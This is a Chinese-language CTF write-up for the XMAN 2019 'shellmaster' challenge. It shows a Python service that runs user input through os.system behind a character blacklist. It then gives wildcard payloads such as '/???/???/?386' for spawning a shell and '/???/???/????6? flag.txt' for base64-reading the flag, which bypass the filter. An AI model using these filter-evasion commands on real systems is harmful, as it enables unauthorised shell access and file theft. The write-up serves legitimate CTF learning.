2019xman-shellmaster wp

题目源码

import sys
import os

black_list = ["$", "-", "_", "{", "}", "*", "2", "4"]

#black_list = []

def quit():
    os._exit(0)


while True:
    sys.stdout.write("input:")
    sys.stdout.flush()
    cmd = raw_input().upper()
    for i in black_list:
        if i in cmd:
            print("black_list")
            quit()


    cmd += " 2>&1"
    print(cmd)
    print(os.system(cmd))
  • 如果没有黑名单的话,直接通过$0起一个shell即可
  • 现在存在黑名单,需要通过其他方法起shell
/usr/bin/i386
/usr/bin/x86_64

利用方式:以通配符?来匹配/usr/bin/中的文件

/???/???/?386
/???/???/?86?6?
  • 也可以在全部转成大写的时候直接读出来
/usr/bin/base64

利用方式:

/???/???/????6? flag.txt

不拿shell,直接读取flag文件,拿返回值直接base64解码即可。

当发现命令不能使用时,可以进/usr/bin/目录下查看能用的命令

https://r0co.top/passages/xman-shellmaster-wp/

shell中的"2>&1"是什么意思?

将输出到标准出错处理的信息,发送到标准输出中。

发布了267 篇原创文章 · 获赞 51 · 访问量 25万+

猜你喜欢

转载自blog.csdn.net/AcSuccess/article/details/103941360